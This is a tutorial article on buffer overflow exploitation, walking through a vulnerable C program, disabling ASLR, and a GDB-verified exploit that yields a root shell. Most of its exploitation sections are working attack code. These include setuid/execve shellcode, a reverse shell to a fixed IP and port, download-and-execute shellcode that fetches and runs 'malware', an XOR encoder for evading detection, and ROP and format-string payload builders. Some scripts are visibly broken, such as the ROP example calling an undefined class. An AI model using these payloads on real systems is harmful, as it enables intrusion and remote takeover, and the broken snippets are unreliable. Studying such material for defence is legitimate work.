Buffer Overflow Fundamentals
What is a Buffer Overflow
A buffer overflow is a common software security vulnerability that occurs when a program writes data to a fixed-size buffer that exceeds its capacity. This vulnerability can lead to:
- Memory Corruption: Overwriting adjacent memory regions
- Program Crash: Disrupting the normal execution flow of the program
- Code Execution: Attackers may gain control of the program
Memory Layout in C
In a C program, memory is typically divided into the following regions:
1High Address
2+------------------+
3| Stack | ← Function calls, local variables
4| ↓ |
5+------------------+
6| ... |
7+------------------+
8| ↑ |
9| Heap | ← Dynamically allocated memory
10+------------------+
11|BSS(Uninitialized)|
12+------------------+
13| Data(Initialized)|
14+------------------+
15| Code Segment |
16+------------------+
17Low AddressStack Frame Structure
Each function call creates a stack frame on the stack:
1High Address
2+--------------------+
3| Function Arguments |
4+--------------------+
5| Return Address | ← Key attack target
6+--------------------+
7| Saved EBP |
8+--------------------+
9| Local Variables | ← Buffer location
10+--------------------+
11Low AddressWhen a buffer overflow occurs, data may overwrite the return address, thereby controlling the program's execution flow.
Vulnerable Code Analysis
Target Program Code
1#include <stdio.h>
2#include <string.h>
3
4int copy(char *str) {
5 char buffer[100]; // 100-byte local buffer
6 // unsafe!
7 strcpy(buffer, str); // Dangerous string copy operation
8 return 0; // Added return value
9}
10
11int main(int argc, char *argv[]) {
12 copy(argv[1]); // Pass command-line argument to copy function
13 return 0;
14}Vulnerability Analysis
This simple C program contains a typical buffer overflow vulnerability:
- Vulnerability: The
strcpy(buffer, str)function does not check the length of the source string - Buffer Size: The
bufferarray is only 100 bytes - Attack Vector: If
argv[1]exceeds 100 bytes, an overflow will occur - Impact: The overflowing data will overwrite other data on the stack, including the return address
Memory Layout Analysis
When the copy function is called, the stack layout is roughly as follows:
1High Address
2+--------------------+
3| argv[1] pointer | ← Argument of main function
4+--------------------+
5|copy Return Address | ← Attack target!
6+--------------------+
7| Saved EBP |
8+--------------------+
9| buffer[99] |
10| buffer[98] |
11| ... | ← 100-byte buffer
12| buffer[1] |
13| buffer[0] | ← ESP points nearby
14+--------------------+
15Low AddressWhen the input data exceeds 100 bytes, the excess data will overwrite the saved EBP and the return address.
Extended Vulnerability Examples
To better understand the diversity of buffer overflows, let's look at a few other types of original vulnerability examples. These examples have similar attack patterns to real-world CVE vulnerabilities:
Example 2: User Authentication System Vulnerability (Similar to CVE-2024-28219 Pattern)
1#include <stdio.h>
2#include <string.h>
3#include <stdlib.h>
4
5typedef struct {
6 char username[32];
7 char password[32];
8 int is_admin;
9} UserCredentials;
10
11int authenticate_user(const char* user_input, const char* pass_input) {
12 UserCredentials creds;
13 creds.is_admin = 0; // Default non-administrator privileges
14
15 // Dangerous string copy - may overflow and overwrite the is_admin field
16 strcpy(creds.username, user_input);
17 strcpy(creds.password, pass_input);
18
19 printf("Username: %s\n", creds.username);
20 printf("Administrator privileges: %s\n", creds.is_admin ? "Yes" : "No");
21
22 return creds.is_admin;
23}
24
25int main(int argc, char *argv[]) {
26 if (argc != 3) {
27 printf("Usage: %s <username> <password>\n", argv[0]);
28 return 1;
29 }
30
31 if (authenticate_user(argv[1], argv[2])) {
32 printf("🔓 Administrator privileges obtained!\n");
33 system("/bin/sh");
34 } else {
35 printf("❌ Authentication failed\n");
36 }
37
38 return 0;
39}Vulnerability Analysis:
- Structure Layout: The
usernameandpasswordfields are adjacent to theis_adminfield - Overflow Point: An overly long username can overwrite the
is_adminfield, similar to the missing strcpy boundary check in CVE-2024-28219 - Attack Effect: Overwrites
is_adminfrom 0 to a non-zero value, gaining administrator privileges - Real-world Correspondence: This type of vulnerability is common in authentication systems, where attackers modify key flag bits by precisely controlling input length
Example 3: Network Data Handling Vulnerability (Similar to CVE-2023-6549 Pattern)
1#include <stdio.h>
2#include <string.h>
3#include <stdint.h>
4
5typedef struct {
6 uint32_t packet_length;
7 char data_buffer[256];
8 void (*process_callback)(char*);
9} NetworkPacket;
10
11void safe_handler(char* data) {
12 printf("Safe handling: %s\n", data);
13}
14
15void dangerous_handler(char* data) {
16 printf("🚨 Dangerous handler function called!\n");
17 system(data);
18}
19
20int process_network_data(const char* raw_data, uint32_t length) {
21 NetworkPacket packet;
22 packet.process_callback = safe_handler; // Default safe handler function
23
24 printf("Processing a packet of length %u\n", length);
25
26 // Potential integer overflow and buffer overflow
27 if (length > 0 && length < 512) { // Seemingly safe check
28 memcpy(packet.data_buffer, raw_data, length);
29 packet.process_callback(packet.data_buffer);
30 }
31
32 return 0;
33}
34
35int main(int argc, char *argv[]) {
36 if (argc != 2) {
37 printf("Usage: %s <data>\n", argv[0]);
38 return 1;
39 }
40
41 uint32_t data_len = strlen(argv[1]);
42 process_network_data(argv[1], data_len);
43
44 return 0;
45}Vulnerability Analysis:
- Function Pointer Overwrite: Overly long data can overwrite the
process_callbackfunction pointer - Length Check Bypass: Unsigned integer comparison can be bypassed, similar to integer underflow in CVE-2022-0185
- Attack Vector: Carefully constructed input can point the function pointer to
dangerous_handler - Real-world Correspondence: This pattern is common in network protocol handling; CVE-2023-6549 triggered a buffer overflow in NetScaler through a similar method
Compilation Settings and Environment Preparation
Compilation Parameter Analysis
1# Compile the vulnerable program
2gcc -m32 -std=c99 -g -fno-stack-protector -z execstack -no-pie -o vul vul.cThe role of each compilation parameter:
-m32: Generate a 32-bit executable file, simplifying memory address calculations-std=c99: Compile using the C99 standard-g: Include debugging information for easier debugging with GDB-fno-stack-protector: Disable stack protection mechanism (canary)-z execstack: Allow the stack area to be executable, allowing shellcode to run-no-pie: Disable position-independent executable files, fixing the program loading address
System Security Mechanism Configuration
1# Disable Address Space Layout Randomization (ASLR)
2root@softsec2:/home/toor/sample# echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
30ASLR (Address Space Layout Randomization):
- Normally, memory addresses are randomized each time a program runs
- Disabling ASLR makes stack addresses, heap addresses, and library addresses predictable
- This allows attackers to accurately calculate jump addresses
Vulnerability Exploitation Process
Step 1: Determine the Overflow Point
1#!/usr/bin/python3
2# exploit_step1.py - Test basic overflow
3import sys
4
5# Send 112 'A' characters + 4 'B' characters
6# 112 bytes fill the buffer, 4 bytes overwrite the return address
7sys.stdout.buffer.write(b'A' * 112 + b'B' * 4)Principle Analysis:
- 112 'A's: Fill the 100-byte buffer + 12 bytes of padding (alignment and saved EBP)
- 4 'B's: Overwrite the 4-byte return address
- When the program attempts to return, it will jump to address
0x42424242('BBBB' in hexadecimal)
Test Run Results
1# Generate attack payload
2python3 exploit_step1.py > payload1
3
4# Run test
5./vul $(cat payload1)If successful, the program will crash because it attempts to jump to the invalid address 0x42424242, proving that we have controlled the program's execution flow.
1(gdb) list
2warning: Source file is more recent than executable.
31 #include <stdio.h>
42 #include <string.h>
53 int copy(char *str) {
64 char buffer[100];
75 // unsafe!
86 strcpy(buffer, str);
97 }
108 int main(int argc, char *argv[]) {
119 copy(argv[1]);
1210 return 0;
13(gdb) b 6
14Breakpoint 1 at 0x8049187: file vul.c, line 6.
15(gdb) run $(cat out_boom)
16Starting program: /home/toor/sample/vul $(cat out_boom)
17[Thread debugging using libthread_db enabled]
18Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
19
20Breakpoint 1, copy (str=0xffffdf42 'A' <repeats 112 times>, "BBBB") at vul.c:6
216 strcpy(buffer, str);
22(gdb) n
237 }
24(gdb) x/x $esp
250xffffdcd0: 0xf7ffd000
26(gdb) x/40x $esp
270xffffdcd0: 0xf7ffd000 0x00000020 0x00000000 0x41414141
280xffffdce0: 0x41414141 0x41414141 0x41414141 0x41414141
290xffffdcf0: 0x41414141 0x41414141 0x41414141 0x41414141
300xffffdd00: 0x41414141 0x41414141 0x41414141 0x41414141
310xffffdd10: 0x41414141 0x41414141 0x41414141 0x41414141
320xffffdd20: 0x41414141 0x41414141 0x41414141 0x41414141
330xffffdd30: 0x41414141 0x41414141 0x41414141 0x41414141
340xffffdd40: 0x41414141 0x41414141 0x41414141 0x42424242
350xffffdd50: 0xffffdf00 0xf7fbe66c 0xf7fbeb10 0x080491b7
360xffffdd60: 0x00000001 0xffffdd80 0xf7ffd020 0xf7da7519
37(gdb) c
38Continuing.
39
40Program received signal SIGSEGV, Segmentation fault.
410x42424242 in ?? ()Step 1 Test Success Analysis:
- Input Data Confirmation: GDB shows that the string passed in is 112 'A' characters plus 4 'B' characters
- Memory Overwrite Verification:
0xffffdcd0-0xffffdd40: A large number of0x41414141('AAAA') fills the buffer and adjacent memory0xffffdd40: The last 4 bytes are overwritten by0x42424242('BBBB'), which is the location of the function's return address
- Attack Effect Confirmation:
- The program attempts to return to address
0x42424242, which is not a valid memory address - The system generates a segmentation fault (SIGSEGV), and the program crashes
- This proves that we have successfully controlled the program's execution flow
- The program attempts to return to address
This test confirms:
- The exact location of the overflow point: 112 bytes of padding + 4 bytes of return address overwrite
- We can precisely control the value of the EIP register
- Next, we can replace
0x42424242with the actual address pointing to the shellcode
Step 2: Constructing the Attack Payload
NOP Sled Technique
NOP (No Operation) is an assembly instruction (machine code: \x90), which does nothing when executed, only incrementing the program counter. A NOP sled is a technique to improve the success rate of an attack:
1#!/usr/bin/python3
2# exploit_final.py - Complete attack payload
3import sys
4
5# NOP sled: 64 bytes of NOP instructions
6# Function: Even if the jump address is not accurate enough, it can "slide" to the shellcode
7nopsled = b'\x90' * 64
8
9# Shellcode: Obtain root privileges and execute shell
10shellcode = (
11 b'\x31\xc0\x89\xc3\xb0\x17\xcd\x80' + # setuid(0) system call
12 b'\x31\xd2\x52\x68\x6e\x2f\x73\x68' + # Construct "/bin/sh" string
13 b'\x68\x2f\x2f\x62\x69\x89\xe3\x52' + # Continue constructing the string
14 b'\x53\x89\xe1\x8d\x42\x0b\xcd\x80' # execve("/bin/sh") system call
15)
16
17# Calculate the number of padding bytes: Total length 112 - NOP sled 64 - shellcode length 32 = 16
18padding = b'A' * (112 - 64 - 32)
19
20# Return address: Jump to a certain location in the NOP sled area
21eip = b"\xF0\xDC\xFF\xFF" # An address on the stack
22
23# Assemble the final payload: NOP sled + shellcode + padding + return address
24sys.stdout.buffer.write(nopsled + shellcode + padding + eip)Shellcode Analysis
This shellcode's function is to obtain root privileges and start a shell:
setuid(0): Sets the user ID of the current process to 0 (root)- String Construction: Constructs the "/bin/sh" string on the stack
execve("/bin/sh"): Executes the shell program
Machine Code Analysis:
\x31\xc0:xor eax, eax- Clears EAX\x89\xc3:mov ebx, eax- Sets EBX to 0\xb0\x17:mov al, 0x17- setuid system call number (23)\xcd\x80:int 0x80- Triggers the system call
Extended Shellcode Analysis
In addition to the basic shellcode that starts a shell, attackers may also use other types of payloads. Here are some common shellcode variations:
Reverse Connection Shellcode
This shellcode establishes a connection to a server controlled by the attacker:
1# Reverse connection shellcode (connects to 192.168.1.100:4444)
2reverse_shell = (
3 b'\x31\xc0\x31\xdb\x31\xc9\x31\xd2' + # Clear registers
4 b'\xb0\x66\xb3\x01\x51\x53\x6a\x02' + # socket(AF_INET, SOCK_STREAM, 0)
5 b'\x89\xe1\xcd\x80\x89\xc6\xb0\x66' + # Call system call, save socket fd
6 b'\xb3\x03\x68\x64\x01\xa8\xc0\x66' + # Construct sockaddr structure (IP: 192.168.1.100)
7 b'\x68\x11\x5c\x66\x53\x89\xe1\x6a' + # Port 4444, AF_INET
8 b'\x10\x51\x56\x89\xe1\xcd\x80\x31' + # connect() system call
9 b'\xc9\xb1\x03\xb0\x3f\x49\x89\xf3' + # Loop dup2() redirect stdin/stdout/stderr
10 b'\xcd\x80\x75\xf8\x31\xc0\x50\x68' + #
11 b'\x2f\x2f\x73\x68\x68\x2f\x62\x69' + # Construct "/bin/sh" string
12 b'\x89\xe3\x50\x53\x89\xe1\xb0\x0b' + # execve("/bin/sh")
13 b'\xcd\x80' # Execute shell
14)Reverse Connection Shellcode Analysis:
- Create Socket: Uses the
socket()system call to create a TCP connection - Connect to Attacker: Connects to the specified IP address and port
- Redirect IO: Redirects stdin/stdout/stderr to the socket
- Execute Shell: Starts the shell, enabling remote control
Download and Execute Shellcode
This shellcode downloads and executes a file from a remote server:
1# Download and execute shellcode example
2download_exec = (
3 b'\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68' + # execve preparation
4 b'\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x2d\x63' + # "/bin/sh", "-c" parameter
5 b'\x00\x00\x89\xe6\x52\x68\x67\x65\x74\x20\x68' + # "wget " command
6 b'\x77\x67\x65\x74\x20\x89\xe7\x52\x68\x74\x70' + # Construct wget command
7 b'\x3a\x2f\x2f\x68\x68\x74\x74\x70\x3a\x2f\x2f' + # "http://"
8 b'\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31' + # IP address string
9 b'\x30\x30\x2f\x6d\x61\x6c\x77\x61\x72\x65\x20' + # "/malware "
10 b'\x26\x26\x20\x63\x68\x6d\x6f\x64\x20\x2b\x78' + # "&& chmod +x"
11 b'\x20\x6d\x61\x6c\x77\x61\x72\x65\x20\x26\x26' + # " malware &&"
12 b'\x20\x2e\x2f\x6d\x61\x6c\x77\x61\x72\x65' # " ./malware"
13)Fileless Attack Shellcode
Executes code directly in memory, leaving no file traces:
1// Memory execution shellcode framework
2char memory_exec_template[] =
3 // Allocate executable memory
4 "\x31\xc0\x31\xdb\x31\xc9\x31\xd2" // Clear registers
5 "\xb8\x7d\x00\x00\x00" // mmap system call number
6 "\x31\xdb" // addr = NULL
7 "\xb9\x00\x10\x00\x00" // length = 4096
8 "\xba\x07\x00\x00\x00" // prot = PROT_READ|WRITE|EXEC
9 "\xbe\x22\x00\x00\x00" // flags = MAP_PRIVATE|ANONYMOUS
10 "\xbf\xff\xff\xff\xff" // fd = -1
11 "\x31\xed" // offset = 0
12 "\xcd\x80" // int 0x80
13
14 // Copy subsequent code to newly allocated memory
15 "\x89\xc3" // Save the address returned by mmap
16 "\x31\xc9" // Clear counter
17 "\xeb\x0c" // Jump to payload
18
19 // Insert actual payload code here...
20 ;Shellcode Encoding Techniques
To bypass intrusion detection systems, shellcode usually needs to be encoded:
1def xor_encode_shellcode(shellcode, key=0xAA):
2 """Simple XOR encoding example"""
3 encoded = bytearray()
4 for byte in shellcode:
5 encoded.append(byte ^ key)
6
7 # Add decoding stub
8 decoder_stub = (
9 b'\xeb\x11' # jmp short 0x13 (jump over encoded data)
10 b'\x5e' # pop esi (get shellcode address)
11 b'\x31\xc9' # xor ecx, ecx (clear counter)
12 b'\xb1' + bytes([len(encoded)]) # mov cl, <length>
13 b'\x80\x36' + bytes([key]) # xor byte ptr [esi], <key>
14 b'\x46' # inc esi
15 b'\xe2\xfb' # loop decoding loop
16 b'\xeb\x05' # jmp short +5 (jump to decoded shellcode)
17 b'\xe8\xea\xff\xff\xff' # call back to decoder
18 )
19
20 return decoder_stub + encoded
21
22# Usage example
23original_shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
24encoded = xor_encode_shellcode(original_shellcode)Shellcode Detection and Protection
Understanding how shellcode works helps implement effective protection measures:
Feature Detection
1def detect_shellcode_patterns(data):
2 """Detect common shellcode patterns"""
3 suspicious_patterns = [
4 b'\x31\xc0', # xor eax, eax
5 b'\xcd\x80', # int 0x80
6 b'\x2f\x62\x69\x6e', # "/bin"
7 b'\x2f\x73\x68', # "/sh"
8 b'\x90' * 10, # NOP sled
9 ]
10
11 detections = []
12 for pattern in suspicious_patterns:
13 if pattern in data:
14 detections.append(f"Detected suspicious pattern: {pattern.hex()}")
15
16 return detectionsGDB Debugging Analysis
Setting Breakpoints and Running
1
2(gdb) list
3warning: Source file is more recent than executable.
41 #include <stdio.h>
52 #include <string.h>
63 int copy(char *str) {
74 char buffer[100];
85 // unsafe!
96 strcpy(buffer, str);
107 }
118 int main(int argc, char *argv[]) {
129 copy(argv[1]);
1310 return 0;
14
15# Set breakpoint at strcpy function
16(gdb) b 6
17Breakpoint 1 at 0x8049187: file vul.c, line 6.
18
19# Run the program with the attack payload
20(gdb) run $(python3 exploit_final.py)
21Starting program: /home/toor/sample/vul $(python3 exploit_final.py)
22[Thread debugging using libthread_db enabled]
23Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
24
25Breakpoint 1, copy (str=0xffffdf42 '\220' <repeats 64 times>, "\061\300\211\303\260\027\315\200\061\322Rhn/shh//bi\211\343RS\211\341\215B\v\315\200", 'A' <repeats 16 times>, "\360\334\377\377") at vul.c:6
266 strcpy(buffer, str);
27
28# Execute strcpy operation
29(gdb) n
307 }
31
32**Debugging Information Interpretation**:
33- GDB shows the content of the string passed in, showing the NOP sled (`\220` repeated 64 times)
34- Then comes the machine code of the shellcode
35- Then comes the padding character 'A' (16)
36- Finally, the return address `\360\334\377\377`
37
38### Memory State Analysis
39
40```bash
41# Check stack pointer location
42(gdb) x/x $esp
430xffffdcd0: 0xf7ffd000
44
45# View 40 32-bit words (160 bytes) on the stack
46(gdb) x/40x $esp
470xffffdcd0: 0xf7ffd000 0x00000020 0x00000000 0x90909090
480xffffdce0: 0x90909090 0x90909090 0x90909090 0x90909090
490xffffdcf0: 0x90909090 0x90909090 0x90909090 0x90909090
500xffffdd00: 0x90909090 0x90909090 0x90909090 0x90909090
510xffffdd10: 0x90909090 0x90909090 0x90909090 0xc389c031
520xffffdd20: 0x80cd17b0 0x6852d231 0x68732f6e 0x622f2f68
530xffffdd30: 0x52e38969 0x8de18953 0x80cd0b42 0x41414141
540xffffdd40: 0x41414141 0x41414141 0x41414141 0xffffdcf0
550xffffdd50: 0xffffdf00 0xf7fbe66c 0xf7fbeb10 0x080491b7
560xffffdd60: 0x00000001 0xffffdd80 0xf7ffd020 0xf7da7519Memory Analysis Details:
-
NOP Sled Area (
0xffffdcd0-0xffffdd18):- A large number of
0x90909090represents NOP instructions - This provides a large target area for the attack
- A large number of
-
Shellcode Area (
0xffffdd18-0xffffdd38):0xc389c031: Beginning of shellcode (xor eax,eax; mov ebx,eax)0x80cd17b0:mov al,0x17; int 0x80(setuid system call)0x6852d231-0x80cd0b42: execve system call related code
-
Padding Area (
0xffffdd38-0xffffdd48):0x41414141: Padding character 'A'
-
Return Address Overwrite (
0xffffdd48):0xffffdcf0: This is the return address we set, pointing to the NOP sled area
Executing the Attack Payload
1# Continue executing the program
2(gdb) c
3Continuing.
4
5# The program successfully executes the shellcode, starting a new shell
6process 10920 is executing new program: /usr/bin/dash
7Error in re-setting breakpoint 1: No source file named /home/toor/sample/vul.c.
8[Thread debugging using libthread_db enabled]
9Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
10
11# Test privileges - successfully obtained root privileges!
12# whoami
13[Detaching after vfork from child process 10982]
14rootAttack Success Analysis:
- When the program returns from the
copyfunction, it jumps to the address we set,0xffffdcf0 - This address points to the NOP sled area, and the processor executes a series of NOP instructions
- After "sliding" to the shellcode area, our malicious code begins to execute
- The shellcode successfully calls
setuid(0)andexecve("/bin/sh") - Finally, a shell with root privileges is obtained
Extended Exploitation Techniques
Besides basic stack overflow exploitation, several advanced attack techniques are worth studying:
ROP (Return-Oriented Programming) Attack
When the stack is non-executable, the ROP technique can be used to link existing code snippets:
1#!/usr/bin/python3
2# rop_exploit.py - ROP chain attack example
3
4import struct
5
6class ROPGadget:
7 """ROP gadget management class"""
8 def __init__(self):
9 # Useful gadgets found in the program or library
10 self.gadgets = {
11 'pop_eax_ret': 0x080483d1, # pop eax; ret
12 'pop_ebx_ret': 0x080483d2, # pop ebx; ret
13 'pop_ecx_ret': 0x080483d3, # pop ecx; ret
14 'pop_edx_ret': 0x080483d4, # pop edx; ret
15 'int_0x80': 0x080483d5, # int 0x80; ret
16 'xor_eax_ret': 0x080483d6, # xor eax, eax; ret
17 'bin_sh_addr': 0x080484a0, # "/bin/sh" string address
18 }
19
20 def build_payload(self):
21 """Construct ret2libc attack payload"""
22 addrs = self.calculate_addresses()
23
24 # Buffer padding
25 padding = b'A' * 112
26
27 # Construct call chain: system("/bin/sh"); exit(0);
28 payload = padding
29 payload += struct.pack('<I', addrs['system']) # Return to system()
30 payload += struct.pack('<I', addrs['exit']) # Call exit() after system returns
31 payload += struct.pack('<I', addrs['bin_sh']) # Parameter "/bin/sh" for system()
32
33 return payload
34
35# Address leakage helper function
36def leak_libc_address():
37 """
38 In actual attacks, libc address needs to be leaked first
39 This is for demonstration purposes only
40 """
41 # Example: Leak address through format string vulnerability
42 format_string_payload = b"AAAA" + b"%p " * 20
43 return format_string_payload
44
45# Usage example
46exploit = Ret2LibcExploit()
47payload = exploit.build_payload()
48
49print(f"ret2libc payload length: {len(payload)} bytes")
50sys.stdout.buffer.write(payload)Heap Overflow Exploitation Example
Basic concepts of heap overflow attacks:
1#!/usr/bin/python3
2# heap_overflow_demo.py - Heap overflow concept demonstration
3
4class HeapChunk:
5 """Simulate heap chunk structure"""
6 def __init__(self, size, data=b''):
7 self.size = size
8 self.prev_size = 0
9 self.flags = 0
10 self.data = data[:size-8] # Subtract header 8 bytes
11 self.fd = 0 # forward pointer
12 self.bk = 0 # backward pointer
13
14 def __repr__(self):
15 return f"Chunk(size={self.size}, data={self.data[:20]}...)"
16
17class HeapManager:
18 """Simplified heap manager"""
19 def __init__(self):
20 self.chunks = []
21 self.free_list = []
22
23 def malloc(self, size):
24 """Allocate memory block"""
25 # 8-byte alignment
26 aligned_size = (size + 7) & ~7
27 chunk = HeapChunk(aligned_size + 8) # Add header
28 self.chunks.append(chunk)
29 return len(self.chunks) - 1 # Return block index
30
31 def free(self, chunk_id):
32 """Free memory block"""
33 if 0 <= chunk_id < len(self.chunks):
34 chunk = self.chunks[chunk_id]
35 self.free_list.append(chunk_id)
36 print(f"Free block {chunk_id}: {chunk}")
37
38 def write_data(self, chunk_id, data):
39 """Write data to block"""
40 if 0 <= chunk_id < len(self.chunks):
41 chunk = self.chunks[chunk_id]
42 if len(data) <= len(chunk.data):
43 chunk.data = data
44 print(f"Safe write to block {chunk_id}")
45 else:
46 # Overflow situation
47 chunk.data = data # This will overflow to adjacent blocks
48 print(f"⚠️ Block {chunk_id} overflow!")
49 self.check_corruption()
50
51 def check_corruption(self):
52 """Check heap corruption"""
53 for i, chunk in enumerate(self.chunks):
54 if len(chunk.data) > chunk.size - 8:
55 print(f"🚨 Detected block {i} data overflow")
56 if i + 1 < len(self.chunks):
57 next_chunk = self.chunks[i + 1]
58 print(f" May affect block {i+1}: {next_chunk}")
59
60# Heap overflow demonstration
61def heap_overflow_demo():
62 """Demonstrate heap overflow attack"""
63 heap = HeapManager()
64
65 # Allocate two adjacent blocks
66 chunk1 = heap.malloc(32)
67 chunk2 = heap.malloc(32)
68
69 print(f"Allocated block1 (ID: {chunk1})")
70 print(f"Allocated block2 (ID: {chunk2})")
71
72 # Normal write
73 heap.write_data(chunk1, b"Normal data")
74 heap.write_data(chunk2, b"Another block")
75
76 print("\n--- Heap Overflow Attack ---")
77 # Overflow write, overwrite next block
78 overflow_data = b"A" * 50 + b"OVERFLOW_DATA"
79 heap.write_data(chunk1, overflow_data)
80
81if __name__ == "__main__":
82 heap_overflow_demo()Format String Attack
Exploiting format string vulnerabilities in printf-like functions:
1#!/usr/bin/python3
2# format_string_exploit.py - Format string attack
3
4def generate_format_string_payload(target_addr, value):
5 """
6 Generate format string attack payload
7 Modify the value at target_addr to value
8 """
9 # Decompose target address into 4 bytes
10 addr_bytes = [
11 target_addr & 0xff,
12 (target_addr >> 8) & 0xff,
13 (target_addr >> 16) & 0xff,
14 (target_addr >> 24) & 0xff
15 ]
16
17 # Construct payload
18 payload = b""
19
20 # Place target address
21 for i in range(4):
22 payload += (target_addr + i).to_bytes(4, 'little')
23
24 # Construct format string
25 # This is a simplified example, actual situation needs adjustment based on stack offset
26 format_str = "AAAA"
27
28 # Use %hhn to write single byte values
29 for i, byte_val in enumerate(value.to_bytes(4, 'little')):
30 if byte_val == 0:
31 format_str += f"%{8+i}$hhn"
32 else:
33 # Calculate required padding
34 format_str += f"%{byte_val-4}c%{8+i}$hhn"
35
36 return payload + format_str.encode()
37
38def demo_format_vulnerability():
39 """Demonstrate format string vulnerability"""
40 print("=== Format String Vulnerability Demo ===")
41
42 # Simulate vulnerable C code:
43 # char buffer[100];
44 # gets(buffer);
45 # printf(buffer); // Dangerous! User input directly as format string
46
47 # Information leak payload
48 leak_payload = b"AAAA" + b"%p " * 10
49 print(f"Information leak payload: {leak_payload}")
50
51 # Address write payload
52 target_addr = 0x08049680 # Assumed target address
53 new_value = 0x41414141 # Value to write
54
55 write_payload = generate_format_string_payload(target_addr, new_value)
56 print(f"Address write payload length: {len(write_payload)} bytes")
57
58 return write_payload
59
60if __name__ == "__main__":
61 demo_format_vulnerability()Summary and Next Article Preview
In this article, we have deeply explored the fundamental principles and practical exploitation techniques of buffer overflow vulnerabilities:
Key Points Review
- Basic Principles: In-depth understanding of stack memory layout, function call mechanisms, and stack frame structures
- Vulnerability Analysis: Analysis of buffer overflow causes and impacts through specific C code examples
- Practical Exploitation:
- Learned how to determine overflow points and construct attack payloads
- Mastered NOP sled techniques and shellcode construction methods
- Understood various attack techniques: ROP, ret2libc, heap overflow, etc.
- Debugging Techniques: Using GDB for memory state analysis and vulnerability verification
- Advanced Attacks: Format string attacks, reverse connection shellcode, and other extended techniques
Practical Skills Gained
Through this article's study, readers should master:
- Identifying potential buffer overflow vulnerabilities in C/C++ code
- Using debugging tools to analyze memory layout and execution flow
- Constructing basic buffer overflow attack payloads
- Understanding the evolution process of modern attack techniques
Next Article Preview: Modern Protection and Real-World Cases
In the next article, we will explore in depth:
Modern Protection Mechanisms
- CISA security guidance and enterprise-level protection practices
- Stack protection, ASLR, DEP and other protection technologies and their bypass methods
- Secure programming practices and code audit techniques
Real CVE Vulnerability Cases
- CVE-2024-38812 (VMware vCenter Server heap overflow)
- CVE-2022-0185 (Linux kernel privilege escalation)
- CVE-2023-6549 (Citrix NetScaler DoS)
- CVE-2024-28219 (Pillow library strcpy overflow)
Vulnerability Detection and Emergency Response
- Automated vulnerability scanning and code audit tools
- Enterprise emergency response processes and best practices
- Continuous security monitoring and threat intelligence integration
Modern Language Security Comparison
- How Go language avoids buffer overflow from the design level
- Memory-safe programming language feature analysis
The next article will combine real CVE cases to demonstrate the actual threats of buffer overflow vulnerabilities in modern environments and provide comprehensive protection strategies. Stay tuned!